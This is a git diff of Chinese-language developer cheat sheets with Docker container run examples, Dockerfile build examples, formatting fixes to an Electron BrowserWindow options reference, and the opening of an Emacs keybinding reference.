```
|
||||
|
||||
Docker 示例
|
||||
---
|
||||
<!--rehype:body-class=cols-2-->
|
||||
|
||||
### Docker Web 管理工具 portainer
|
||||
|
||||
```bash
|
||||
$ docker run -d --name portainer \
|
||||
-p 8000:8000 \
|
||||
-p 9443:9443 \
|
||||
--restart=always \
|
||||
-v /var/run/docker.sock:/var/run/docker.sock \
|
||||
-v $HOME/portainer:/data \
|
||||
portainer/portainer-ee:latest
|
||||
```
|
||||
|
||||
### 在线代码编辑器 Code Server
|
||||
|
||||
```bash
|
||||
$ mkdir -p ~/.config
|
||||
$ docker run -it --name code-server \
|
||||
-p 127.0.0.1:8080:8080 \
|
||||
-v "$HOME/.config/code-server:/home/coder/.config" \
|
||||
-v "$PWD:/home/coder/project" \
|
||||
-u "$(id -u):$(id -g)" \
|
||||
-e "DOCKER_USER=$USER" \
|
||||
codercom/code-server:latest
|
||||
```
|
||||
|
||||
### MySQL
|
||||
|
||||
```bash
|
||||
$ docker run --name mysql \
|
||||
-p 3306:3306 \
|
||||
-v $HOME/mysql/conf.d:/etc/mysql/conf.d \
|
||||
-v $HOME/mysql/data:/var/lib/mysql \
|
||||
-v /etc/localtime:/etc/localtime:ro \
|
||||
-e MYSQL_ROOT_PASSWORD=123456 \
|
||||
-d mysql:5.7.23
|
||||
```
|
||||
|
||||
### Redis
|
||||
|
||||
```bash
|
||||
$ docker run -d --name myredis \
|
||||
-v $HOME/redis/conf:/usr/local/etc/redis \
|
||||
-v /etc/localtime:/etc/localtime:ro \
|
||||
redis redis-server /usr/local/etc/redis/redis.conf
|
||||
```
|
||||
|
||||
### Nginx
|
||||
|
||||
```bash
|
||||
$ docker run --name my-nginx \
|
||||
-v "$HOME/nginx/nginx.conf:/etc/nginx/nginx.conf:ro" \
|
||||
-v "$HOME/nginx/html:/usr/share/nginx/html:ro" \
|
||||
-p 8080:80 \
|
||||
-d nginx
|
||||
```
|
||||
|
||||
### PostgreSQL
|
||||
|
||||
```bash
|
||||
$ docker run --name my-postgres \
|
||||
-e POSTGRES_PASSWORD=mysecretpassword \
|
||||
-e PGDATA=/var/lib/postgresql/data/pgdata \
|
||||
-v $HOME/nginx/mount:/var/lib/postgresql/data \
|
||||
-d postgres
|
||||
```
|
||||
|
||||
### 媒体管理工具 Dim
|
||||
|
||||
```bash
|
||||
$ docker run --name my-dim \
|
||||
-p 8000:8000/tcp \
|
||||
-v $HOME/.config/dim:/opt/dim/config \
|
||||
-v $HOME/dim/media:/media:ro \
|
||||
-d ghcr.io/dusk-labs/dim:dev
|
||||
```
|
||||
|
||||
[Github](https://github.com/Dusk-Labs/dim)
|
||||
|
||||
### Gitlab
|
||||
|
||||
```bash
|
||||
$ docker run -d --name gitlab \
|
||||
--hostname gitlab.example.com \
|
||||
--publish 8443:443 --publish 8081:80 -p 2222:22 \
|
||||
--restart always \
|
||||
--volume $HOME/gitlab/config:/etc/gitlab \
|
||||
--volume $HOME/gitlab/logs:/var/log/gitlab \
|
||||
--volume $HOME/gitlab/data:/var/opt/gitlab \
|
||||
-v /etc/localtime:/etc/localtime \
|
||||
--shm-size 256m \
|
||||
gitlab/gitlab-ce:latest
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [Dockerfile 备忘清单](./dockerfile.md) _(github.io)_
|
||||
- [Docker 官方入门教程](https://docs.docker.com/get-started/) _(docker.com)_
|
||||
- [Docker入门学习笔记](https://jaywcjlove.github.io/docker-tutorial) _(github.io)_
|
||||
- [Docker入门学习笔记](https://jaywcjlove.github.io/docker-tutorial) _(github.io)_
|
||||
|
@ -110,6 +110,7 @@ RUN true | false # 将脱离管道
|
||||
`CMD ["executable","param1","param2"]` | (exec 形式,这是首选形式)
|
||||
`CMD ["param1","param2"]` | (作为 ENTRYPOINT 的默认参数)
|
||||
`CMD command param1 param2` | (shell形式)
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
```dockerfile
|
||||
EXPOSE 5900
|
||||
@ -185,6 +186,7 @@ temp?
|
||||
`*/temp*` | 在根的任何直接子目录中<br />排除名称以 `temp` 开头的文件和目录
|
||||
`*/*/temp*` | 从根以下两级的任何子目录中<br />排除以 `temp` 开头的文件和目录
|
||||
`temp?` | 排除根目录中名称为<br /> `temp` 的单字符扩展名的文件和目录
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
如果此文件存在,排除与其中的模式匹配的文件和目录,有利于避免 `ADD` 或 `COPY` 将敏感文件添加到镜像中。匹配是使用 Go 的 [filepath.Match](https://golang.org/pkg/path/filepath#Match) 规则完成的。
|
||||
|
||||
@ -203,9 +205,13 @@ temp?
|
||||
`CMD command param1 param2` | 设置默认命令
|
||||
`ENV <key>=<value> ...` | 设置环境变量
|
||||
`EXPOSE <port> [<port>/<protocol>...]` | 运行时侦听指定的网络端口
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
Dockerfile 示例
|
||||
----
|
||||
<!--rehype:body-class=cols-2-->
|
||||
|
||||
### 服务静态网站的最小 Docker 镜像
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```dockerfile
|
||||
FROM lipanski/docker-static-website:latest
|
||||
@ -220,13 +226,33 @@ COPY ./ .
|
||||
FROM lipanski/docker-static-website:latest
|
||||
COPY . .
|
||||
|
||||
CMD ["/busybox", "httpd", "-f", "-v", "-p", "3000", "-c", "httpd.conf"]
|
||||
CMD ["/busybox","httpd","-f","-v","-p","3000","-c","httpd.conf"]
|
||||
```
|
||||
|
||||
缩小镜像过程[查看原文](https://lipanski.com/posts/smallest-docker-image-static-website),镜像 [Dockerfile 源码](https://github.com/lipanski/docker-static-website)。
|
||||
|
||||
### Docker 镜像多阶段构建
|
||||
|
||||
```dockerfile
|
||||
FROM golang:alpine as builder
|
||||
RUN apk --no-cache add git
|
||||
WORKDIR /go/src/github.com/go/helloworld/
|
||||
RUN go get -d -v github.com/go-sql-driver/mysql
|
||||
COPY app.go .
|
||||
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o app .
|
||||
|
||||
FROM alpine:latest as prod
|
||||
RUN apk --no-cache add ca-certificates
|
||||
WORKDIR /root/
|
||||
COPY --from=builder /go/src/github.com/go/helloworld/app .
|
||||
CMD ["./app"]
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
使用多阶段构建能将构建依赖留在 builder 镜像中,只将编译完成后的二进制文件拷贝到运行环境中,大大减少镜像体积。
|
||||
|
||||
## 也可以看看
|
||||
|
||||
- [Dockerfile reference](https://docs.docker.com/engine/reference/builder/) _(docker.com)_
|
||||
- [Docker 备忘清单](./docker.md) _(github.io)_
|
||||
- [Docker入门学习笔记](https://jaywcjlove.github.io/docker-tutorial) _(github.io)_
|
||||
- [Docker入门学习笔记](https://jaywcjlove.github.io/docker-tutorial) _(github.io)_
|
||||
|
@ -3,7 +3,6 @@ Electron 备忘清单
|
||||
|
||||
此快速参考备忘单提供了 Electron v21 API 说明和使用示例。
|
||||
|
||||
|
||||
入门
|
||||
----
|
||||
|
||||
@ -15,11 +14,14 @@ Electron 备忘清单
|
||||
#### 创建你的应用程序
|
||||
|
||||
- 安装
|
||||
|
||||
```bash
|
||||
mkdir my-app && cd my-app
|
||||
npm init
|
||||
```
|
||||
|
||||
在项目根目录会生成 `package.json`
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "my-app",
|
||||
@ -30,22 +32,30 @@ Electron 备忘清单
|
||||
"license": "MIT"
|
||||
}
|
||||
```
|
||||
|
||||
- 安装依赖包
|
||||
|
||||
```bash
|
||||
npm install --save-dev electron
|
||||
```
|
||||
|
||||
- 添加开发模式打开您的应用命令
|
||||
|
||||
```js
|
||||
"scripts": {
|
||||
"start": "electron ."
|
||||
}
|
||||
```
|
||||
|
||||
- 运行命令,启动应用程序
|
||||
|
||||
```bash
|
||||
npm start
|
||||
```
|
||||
|
||||
入口都是 `main` 文件。这个文件控制了主进程,它运行在一个完整的Node.js环境中
|
||||
- 创建 `index.html` 页面
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -60,7 +70,9 @@ Electron 备忘清单
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- 窗口中打开您的页面
|
||||
|
||||
```js
|
||||
const {
|
||||
app,
|
||||
@ -385,8 +397,8 @@ BrowserWindow
|
||||
`useContentSize` _boolean_ | _(宽)_ 和 _(高)_ 设置为web页面的尺寸。默认值 _(false)_
|
||||
`center` _boolean_ | 窗口是否在屏幕居中。默认值 _(false)_
|
||||
`minHeight` _整数_ | 窗口的最小高度。默认值 _(0)_
|
||||
`maxWidth ` _整数_ | 窗口的最大宽度。默认值不限
|
||||
`maxHeight ` _整数_ | 窗口的最大高度。默认值不限
|
||||
`maxWidth` _整数_ | 窗口的最大宽度。默认值不限
|
||||
`maxHeight` _整数_ | 窗口的最大高度。默认值不限
|
||||
`resizable` _boolean_ | 窗口大小是否可调整。默认值 _(true)_
|
||||
`movable` _boolean_ _(win/mac)_ | 窗口是否可移动。默认值 _(true)_
|
||||
`minimizable` _boolean_ _(win/mac)_ | 窗口是否可最小化。默认值 _(true)_
|
||||
@ -417,14 +429,14 @@ BrowserWindow
|
||||
`transparent` _boolean_ | 使窗口 <a href="/zh/docs/latest/tutorial/window-customization#create-transparent-windows">透明</a>。 默认值 _(false)_. 在Windows上,仅在无边框窗口下起作用。
|
||||
`type` _string_ | 窗口的类型, 默认为普通窗口. 更多信息见下文
|
||||
`visualEffectState` _string_ _(mac)_ | 在 macOS 上指定外观应如何响应窗口活动状态。 必须与 _(vibrancy)_ 属性一起使用。 可能的值有
|
||||
` visualEffectState.followWindow` | 当窗口处于激活状态时,后台应自动显示为激活状态,当窗口处于非激活状态时,后台应自动显示为非激活状态。 默认为该值。
|
||||
` visualEffectState.active` | 后台应一直显示为激活状态。
|
||||
` visualEffectState.inactive` | 后台应一直显示为非激活状态。
|
||||
`visualEffectState.followWindow` | 当窗口处于激活状态时,后台应自动显示为激活状态,当窗口处于非激活状态时,后台应自动显示为非激活状态。 默认为该值。
|
||||
`visualEffectState.active` | 后台应一直显示为激活状态。
|
||||
`visualEffectState.inactive` | 后台应一直显示为非激活状态。
|
||||
`titleBarStyle` _string_ _(win/mac)_ | 窗口标题栏样式。默认值 _(default)_
|
||||
` titleBarStyle.default` | 分别返回 _mac_ 或者 _win_ 的标准标题栏
|
||||
` titleBarStyle.hidden` | 在一个隐藏的标题栏和一个全尺寸大小的内容窗口中取得结果。 在 macOS 内, 窗口将一直拥有位于左上的标准窗口控制器 _(“traffic lights”)_。 在 Windows上,当与 _(titleBarOverlay: true)_ 合并时,它将激活窗口控件叠加(详情请参阅 _(titleBarOverlay)_),否则将不会显示窗口控件。
|
||||
` titleBarStyle.hiddenInset` _(mac)_ | 隐藏标题栏,使用窗口边缘稍微小的红绿灯按钮替代。
|
||||
` titleBarStyle.customButtonsOnHover` _(mac)_ | 隐藏的标题栏的全尺寸的内容窗口, 红绿灯按钮在鼠标悬停在窗口左上方时显示。**注意:**此选项目前是实验性的。
|
||||
`titleBarStyle.default` | 分别返回 _mac_ 或者 _win_ 的标准标题栏
|
||||
`titleBarStyle.hidden` | 在一个隐藏的标题栏和一个全尺寸大小的内容窗口中取得结果。 在 macOS 内, 窗口将一直拥有位于左上的标准窗口控制器 _(“traffic lights”)_。 在 Windows上,当与 _(titleBarOverlay: true)_ 合并时,它将激活窗口控件叠加(详情请参阅 _(titleBarOverlay)_),否则将不会显示窗口控件。
|
||||
`titleBarStyle.hiddenInset` _(mac)_ | 隐藏标题栏,使用窗口边缘稍微小的红绿灯按钮替代。
|
||||
`titleBarStyle.customButtonsOnHover` _(mac)_ | 隐藏的标题栏的全尺寸的内容窗口, 红绿灯按钮在鼠标悬停在窗口左上方时显示。**注意:**此选项目前是实验性的。
|
||||
`trafficLightPosition` _Point_ _(mac)_ | 在无边框窗口中设置灯绿灯按钮位置。
|
||||
`roundedCorners` _boolean_ _(mac)_ | 无边框窗口在 macOS 上,是否应该有圆角。 默认值为 _(true)_。 属性设置为 _(false)_ ,将阻止窗口是可全屏的。
|
||||
~~`fullscreenWindowTitle`~~ _boolean_ _(mac)_ ~~_已弃用_~~ | _titleBarStyle_ 设置为 _(hiddenInset)_ 时,在 macOS 全屏模式下标题栏显示标题。默认值为 _(false)_.
|
||||
@ -433,34 +445,34 @@ BrowserWindow
|
||||
`zoomToPageWidth` _boolean_ _(mac)_ | 在 macOS 上控制,当按住 option 点击工具栏绿色红绿灯按钮或点击窗口 > 放大菜单项的行为。 如果为 _(true)_,窗口为将会缩放到适合宽度,若为 _(false)_ 将会放大到屏幕宽度。 这也会影响,直接调用 _(maximize())_ 的行为。 默认值为 _(false)_.
|
||||
`tabbingIdentifier` _string_ _(mac)_ | 选项卡组名称,允许在原生选择卡中打开窗口,macOS 10.12+ 支持。 Windows 中,有相同选项卡标识的将会组合在一起。 这会添加一个原生新增选项卡按钮到你窗口的选项卡栏,同时 _(app)_ 和窗口允许接收 _(new-window-for-tab)_ 事件。
|
||||
`webPreferences` _Object_ | 网页功能设置。
|
||||
` webPreferences.devTools` _boolean_ | 是否开启 DevTools. 如果设置为 _(false)_, 则无法使用 _(BrowserWindow.webContents.openDevTools ())_ 打开 DevTools。 默认值为 _(true)_。
|
||||
` webPreferences.nodeIntegration` _boolean_ | 是否启用Node integration. 默认值为 _(false)_.
|
||||
` webPreferences.nodeIntegrationInWorker` _boolean_ | 是否在Web工作器中启用了Node集成. 默认值为 _(false)_. 更多内容参见 [多线程](https://www.electronjs.org/docs/latest/tutorial/multithreading)
|
||||
` webPreferences.nodeIntegrationInSubFrames` _boolean_ **_实验性_**| 是否允许在子页面(iframe)或子窗口(child window)中集成Node.js; 预先加载的脚本会被注入到每一个iframe,你可以用 _(process.isMainFrame)_ 来判断当前是否处于主框架(main frame)中。
|
||||
` webPreferences.preload` _string_ | 在页面运行其他脚本之前预先加载指定的脚本 无论页面是否集成Node, 此脚本都可以访问所有Node API 脚本路径为文件的绝对路径。 当 node integration 关闭时, 预加载的脚本将从全局范围重新引入node的全局引用标志[参考示例](https://www.electronjs.org/docs/latest/api/context-bridge#exposing-node-global-symbols)
|
||||
` webPreferences.sandbox` _boolean_ | 如果设置该参数, 沙箱的渲染器将与窗口关联, 使它与Chromium OS-level 的沙箱兼容, 并禁用 Node. js 引擎。 它与 _(nodeIntegration)_ 的选项不同,且预加载脚本的 API 也有限制。[更多详情](https://www.electronjs.org/docs/latest/tutorial/sandbox)
|
||||
` webPreferences.session` | [Session](https://www.electronjs.org/docs/latest/api/session#class-session) 设置页面的 session 而不是直接忽略 Session 对象, 也可用 _(partition)_ 选项来代替,它接受一个 partition 字符串. 同时设置了_(session)_ 和 _(partition)_时, _(session)_ 的优先级更高. 默认使用默认的 session.
|
||||
` webPreferences.partition` | string (optional) - 通过 session 的 partition 字符串来设置界面session. 如果 _(partition)_ 以 _(persist:)_开头, 该页面将使用持续的 session,并在所有页面生效,且使用同一个_(partition)_. 如果没有 _(persist:)_ 前缀, 页面将使用 in-memory session. 通过分配相同的 _(partition)_, 多个页可以共享同一会话。 默认使用默认的 session.
|
||||
` webPreferences.zoomFactor` _number_ | 页面的默认缩放系数, _(3.0)_ 表示 _(300%)_。 默认值为 _(1.0)_.
|
||||
` webPreferences.javascript` _boolean_ | 是否启用 JavaScript 支持。 默认值为 _(true)_。
|
||||
` webPreferences.webSecurity` _boolean_ | 当设置为 _(false)_, 它将禁用同源策略 (通常用来测试网站), 如果此选项不是由开发者设置的,还会把 _(allowRunningInsecureContent)_设置为 _(true)_. 默认值为 _(true)_
|
||||
` webPreferences.allowRunningInsecureContent` _boolean_ | 允许一个 https 页面运行来自http url的JavaScript, CSS 或 plugins。 默认值为 _(false)_
|
||||
` webPreferences.images` _boolean_ | 允许加载图片。 默认值为 _(true)_
|
||||
` webPreferences.imageAnimationPolicy` _string_ | 指定如何运行图像动画 (比如: GIF等). 可以是 _(animate)_, _(animateOnce)_ 或 _(noAnimation)_。默认值为 _(animate)_
|
||||
` webPreferences.textAreasAreResizable` _boolean_ | 允许调整 TextArea 元素大小。 默认值为 _(true)_
|
||||
` webPreferences.webgl` _boolean_ | 启用 WebGL 支持。 默认值为 _(true)_
|
||||
` webPreferences.plugins` _boolean_ | 是否应该启用插件。 默认值为 _(false)_
|
||||
` webPreferences.experimentalFeatures` _boolean_ | 启用 Chromium 的实验功能。 默认值为 _(false)_
|
||||
` webPreferences.scrollBounce` _boolean_ _(mac)_ | 启用滚动回弹(橡皮筋)效果。 默认值为 _(false)_
|
||||
` webPreferences.enableBlinkFeatures`_string_ | 以 _(逗号)_ 分隔的需要启用的特性列表,譬如 _(CSSVariables,KeyboardEventKey)_ 在 [RuntimeEnabledFeatures.json5](https://cs.chromium.org/chromium/src/third_party/blink/renderer/platform/runtime_enabled_features.json5?l=70) 文件中查看被支持的所有特性
|
||||
` webPreferences.disableBlinkFeatures` _string_ | 以 _(,)_ 分隔的禁用特性列表, 如 _(CSSVariables,KeyboardEventKey)_ 在 [RuntimeEnabledFeatures.json5](https://cs.chromium.org/chromium/src/third_party/blink/renderer/platform/runtime_enabled_features.json5?l=70) 文件中查看被支持的所有特性
|
||||
`webPreferences.devTools` _boolean_ | 是否开启 DevTools. 如果设置为 _(false)_, 则无法使用 _(BrowserWindow.webContents.openDevTools ())_ 打开 DevTools。 默认值为 _(true)_。
|
||||
`webPreferences.nodeIntegration` _boolean_ | 是否启用Node integration. 默认值为 _(false)_.
|
||||
`webPreferences.nodeIntegrationInWorker` _boolean_ | 是否在Web工作器中启用了Node集成. 默认值为 _(false)_. 更多内容参见 [多线程](https://www.electronjs.org/docs/latest/tutorial/multithreading)
|
||||
`webPreferences.nodeIntegrationInSubFrames` _boolean_ **_实验性_**| 是否允许在子页面(iframe)或子窗口(child window)中集成Node.js; 预先加载的脚本会被注入到每一个iframe,你可以用 _(process.isMainFrame)_ 来判断当前是否处于主框架(main frame)中。
|
||||
`webPreferences.preload` _string_ | 在页面运行其他脚本之前预先加载指定的脚本 无论页面是否集成Node, 此脚本都可以访问所有Node API 脚本路径为文件的绝对路径。 当 node integration 关闭时, 预加载的脚本将从全局范围重新引入node的全局引用标志[参考示例](https://www.electronjs.org/docs/latest/api/context-bridge#exposing-node-global-symbols)
|
||||
`webPreferences.sandbox` _boolean_ | 如果设置该参数, 沙箱的渲染器将与窗口关联, 使它与Chromium OS-level 的沙箱兼容, 并禁用 Node. js 引擎。 它与 _(nodeIntegration)_ 的选项不同,且预加载脚本的 API 也有限制。[更多详情](https://www.electronjs.org/docs/latest/tutorial/sandbox)
|
||||
`webPreferences.session` | [Session](https://www.electronjs.org/docs/latest/api/session#class-session) 设置页面的 session 而不是直接忽略 Session 对象, 也可用 _(partition)_ 选项来代替,它接受一个 partition 字符串. 同时设置了_(session)_ 和 _(partition)_时, _(session)_ 的优先级更高. 默认使用默认的 session.
|
||||
`webPreferences.partition` | string (optional) - 通过 session 的 partition 字符串来设置界面session. 如果 _(partition)_ 以 _(persist:)_开头, 该页面将使用持续的 session,并在所有页面生效,且使用同一个_(partition)_. 如果没有 _(persist:)_ 前缀, 页面将使用 in-memory session. 通过分配相同的 _(partition)_, 多个页可以共享同一会话。 默认使用默认的 session.
|
||||
`webPreferences.zoomFactor` _number_ | 页面的默认缩放系数, _(3.0)_ 表示 _(300%)_。 默认值为 _(1.0)_.
|
||||
`webPreferences.javascript` _boolean_ | 是否启用 JavaScript 支持。 默认值为 _(true)_。
|
||||
`webPreferences.webSecurity` _boolean_ | 当设置为 _(false)_, 它将禁用同源策略 (通常用来测试网站), 如果此选项不是由开发者设置的,还会把 _(allowRunningInsecureContent)_设置为 _(true)_. 默认值为 _(true)_
|
||||
`webPreferences.allowRunningInsecureContent` _boolean_ | 允许一个 https 页面运行来自http url的JavaScript, CSS 或 plugins。 默认值为 _(false)_
|
||||
`webPreferences.images` _boolean_ | 允许加载图片。 默认值为 _(true)_
|
||||
`webPreferences.imageAnimationPolicy` _string_ | 指定如何运行图像动画 (比如: GIF等). 可以是 _(animate)_, _(animateOnce)_ 或 _(noAnimation)_。默认值为 _(animate)_
|
||||
`webPreferences.textAreasAreResizable` _boolean_ | 允许调整 TextArea 元素大小。 默认值为 _(true)_
|
||||
`webPreferences.webgl` _boolean_ | 启用 WebGL 支持。 默认值为 _(true)_
|
||||
`webPreferences.plugins` _boolean_ | 是否应该启用插件。 默认值为 _(false)_
|
||||
`webPreferences.experimentalFeatures` _boolean_ | 启用 Chromium 的实验功能。 默认值为 _(false)_
|
||||
`webPreferences.scrollBounce` _boolean_ _(mac)_ | 启用滚动回弹(橡皮筋)效果。 默认值为 _(false)_
|
||||
`webPreferences.enableBlinkFeatures`_string_ | 以 _(逗号)_ 分隔的需要启用的特性列表,譬如 _(CSSVariables,KeyboardEventKey)_ 在 [RuntimeEnabledFeatures.json5](https://cs.chromium.org/chromium/src/third_party/blink/renderer/platform/runtime_enabled_features.json5?l=70) 文件中查看被支持的所有特性
|
||||
`webPreferences.disableBlinkFeatures` _string_ | 以 _(,)_ 分隔的禁用特性列表, 如 _(CSSVariables,KeyboardEventKey)_ 在 [RuntimeEnabledFeatures.json5](https://cs.chromium.org/chromium/src/third_party/blink/renderer/platform/runtime_enabled_features.json5?l=70) 文件中查看被支持的所有特性
|
||||
`defaultFontFamily` _Object_ | 为 font-family 设置默认字体
|
||||
` defaultFontFamily.standard` _string_ |默认值为 _(Times New Roman)_
|
||||
` defaultFontFamily.serif` _string_ | 默认值为 _(Times New Roman)_
|
||||
` defaultFontFamily.sansSerif` _string_ | 默认值为 _(Arial)_
|
||||
` defaultFontFamily.monospace` _string_ | 默认值为 _(Courier New)_
|
||||
` defaultFontFamily.cursive` _string_ | 默认值为 _(Script)_
|
||||
` defaultFontFamily.fantasy` _string_ | 默认值为 _(Impact)_
|
||||
`defaultFontFamily.standard` _string_ |默认值为 _(Times New Roman)_
|
||||
`defaultFontFamily.serif` _string_ | 默认值为 _(Times New Roman)_
|
||||
`defaultFontFamily.sansSerif` _string_ | 默认值为 _(Arial)_
|
||||
`defaultFontFamily.monospace` _string_ | 默认值为 _(Courier New)_
|
||||
`defaultFontFamily.cursive` _string_ | 默认值为 _(Script)_
|
||||
`defaultFontFamily.fantasy` _string_ | 默认值为 _(Impact)_
|
||||
`defaultFontSize` _Integer_ | 默认值为 _(16)_
|
||||
`defaultMonospaceFontSize` _Integer_ | 默认值为 _(13)_
|
||||
`minimumFontSize` _Integer_ | 默认值为 _(0)_
|
||||
@ -480,10 +492,10 @@ BrowserWindow
|
||||
`spellcheck` _boolean_ | 是否启用内置拼写检查器。 默认值为 _(true)_
|
||||
`enableWebSQL` _boolean_ | 是否启用 [WebSQL api](https://www.w3.org/TR/webdatabase/)。 默认值为 _(true)_
|
||||
`v8CacheOptions` _string_ | 强制 blink 使用 v8 代码缓存策略。 可接受的值为:
|
||||
` v8CacheOptions.none` | 禁用代码缓存
|
||||
` v8CacheOptions.code` | 基于启发式代码缓存
|
||||
` v8CacheOptions.bypassHeatCheck` | 绕过启发式代码缓存,但使用懒编译。
|
||||
` v8CacheOptions.bypassHeatCheckAndEagerCompile` | 与上面相同,除了编译是及时的。 默认策略是 _(code)_
|
||||
`v8CacheOptions.none` | 禁用代码缓存
|
||||
`v8CacheOptions.code` | 基于启发式代码缓存
|
||||
`v8CacheOptions.bypassHeatCheck` | 绕过启发式代码缓存,但使用懒编译。
|
||||
`v8CacheOptions.bypassHeatCheckAndEagerCompile` | 与上面相同,除了编译是及时的。 默认策略是 _(code)_
|
||||
`enablePreferredSizeMode` _boolean_ | 是否启用首选大小模式。 首选大小是包含文档布局所需的最小大小--无需滚动。 启用该属性将导致在首选大小发生变化时,在 _(WebContents)_ 上触发 _(preferred-size-changed)_ 事件。默认值为 _(false)_
|
||||
`titleBarOverlay` _Object/Boolean_ | 当在 macOS 使用无框窗口结合 _(win.setWindowButtonVisibility(true))_ 或使用 _(titleBarStyle)_ 以便标准窗口控制 (在 macOS为 "traffic lights") 可见,此属性将启用 Window Controls Overlay [JavaScript APIs](https://github.com/WICG/window-controls-overlay/blob/main/explainer.md#javascript-apis) 和 [CSS Environment Variables](https://github.com/WICG/window-controls-overlay/blob/main/explainer.md#css-environment-variables)。指定 _(true)_ 将导致覆盖默认系统颜色。 默认值为 _(false)_
|
||||
`color` _String_ _(win)_ | 启用窗口控制时覆盖面的 CSS 颜色 默认是系统颜色
|
||||
@ -684,7 +696,6 @@ child.once('ready-to-show', () => {
|
||||
`win.setTitleBarOverlay(options)` _(win)_ | 在已开启 Window Controls Overlay 的窗口上,此方法将更新标题栏叠加层的样式 [#](https://www.electronjs.org/zh/docs/latest/api/browser-window#winsettitlebaroverlayoptions-windows)
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
|
||||
### 静态方法
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
@ -735,4 +746,4 @@ win.loadURL('https://github.com')
|
||||
另见
|
||||
---
|
||||
|
||||
- [Electron 备忘清单](https://simulatedgreg.github.io/electron-cheatsheet/) _(simulatedgreg.github.io)_
|
||||
- [Electron 备忘清单](https://simulatedgreg.github.io/electron-cheatsheet/) _(simulatedgreg.github.io)_
|
||||
|
524
docs/emacs.md
Normal file
524
docs/emacs.md
Normal file
@ -0,0 +1,524 @@
|
||||
Emacs 备忘清单
|
||||
====
|
||||
|
||||
[Emacs](https://www.gnu.org/software/emacs) 是可扩展的、可定制的、自记录的实时显示文本编辑器。此参考适用于 Emacs 27+
|
||||
|
||||
入门
|
||||
----
|
||||
|
||||
### 启动 Emacs
|
||||
|
||||
要进入 Emacs,只需输入其名称:
|
||||
|
||||
```shell
|
||||
$ emacs
|
||||
```
|
||||
|
||||
------
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-z` | 挂起 Emacs
|
||||
`C-x` `C-c` | 永久退出 Emacs
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 全局描述
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-<key>` | 表示按住控件,然后按 `<key>`
|
||||
`M-<key>` | 表示按 `Esc` 一次,然后按 `<key>`
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
注意:本备忘单遵循上述规则
|
||||
|
||||
### 移动
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
返回 | 向前 | 要移动的实体
|
||||
:- | :- | :-
|
||||
`C-b` | `C-f` | Haracter
|
||||
`M-b` | `M-f` | 单词
|
||||
`C-p` | `C-n` | 线
|
||||
`C-a` | `C-e` | 行开头<br/>_(或结尾)_
|
||||
`M-a` | `M-e` | 句子
|
||||
`M-{` | `M-}` | 段落
|
||||
`C-x` `[` | `C-x` `]` | 页
|
||||
`C-M-b` | `C-M-f` | Sexp
|
||||
`C-M-a` | `C-M-e` | 功能
|
||||
`M-<` | `M->` | 缓冲区开始<br>_(或结束)_
|
||||
<!--rehype:className=shortcuts show-header-->
|
||||
|
||||
### 案例变更
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`M-u` | 大写单词
|
||||
`M-l` | 小写单词
|
||||
`M-c` | 大写单词
|
||||
`C-x` `C-u` | 大写区域
|
||||
`C-x` `C-l` | 小写区域
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 文件
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-x` `C-f` | 将文件读入 Emacs
|
||||
`C-x` `C-s` | 将文件保存回磁盘
|
||||
`C-x` `s` | 保存所有文件
|
||||
`C-x` `i` | 将另一个文件的内容插入此缓冲区
|
||||
`C-x` `C-v` | 将此文件替换为您的文件
|
||||
`C-x` `C-w` | 将缓冲区写入指定文件
|
||||
`C-x` `C-q` | 切换缓冲区的只读状态
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 错误恢复
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-g` | 中止部分键入或执行的命令
|
||||
`M-x` 恢复会话 | 恢复因系统崩溃而丢失的文件
|
||||
`C-x` `u` `C-_` `C-/` | 撤消不需要的更改
|
||||
`M-x` 恢复缓冲器 | 将缓冲区恢复到其原始内容
|
||||
`C-l` | 重绘垃圾屏幕
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### Transposing
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-t` | 转置字符
|
||||
`M-t` | 转置词
|
||||
`C-x` `C-t` | 转置线
|
||||
`C-M-t` | 转置性别
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
#### Scroll
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-v` | 滚动到下一个屏幕
|
||||
`M-v` | 滚动到上一个屏幕
|
||||
`C-x` `<` | 向左滚动
|
||||
`C-x` `>` | 向右滚动
|
||||
`C-l` | 将当前行滚动到 <br> _center, top, bottom_
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
#### 跳转
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`M-g` `g` | 转到行
|
||||
`M-g` `c` | 转到字符
|
||||
`M-m` | 返回缩进
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 标记
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-@` `C-SPC` | 在标记在这里
|
||||
`C-x` `C-x` | 交换点和标记
|
||||
`M-@` | 设置标记 arg 单词
|
||||
`M-h` | 标记段落
|
||||
`C-x` `C-p` | 标记页面
|
||||
`C-M-@` | 标记性
|
||||
`C-M-h` | 标记功能
|
||||
`C-x` `h` | 标记整个缓冲区
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 杀死和删除
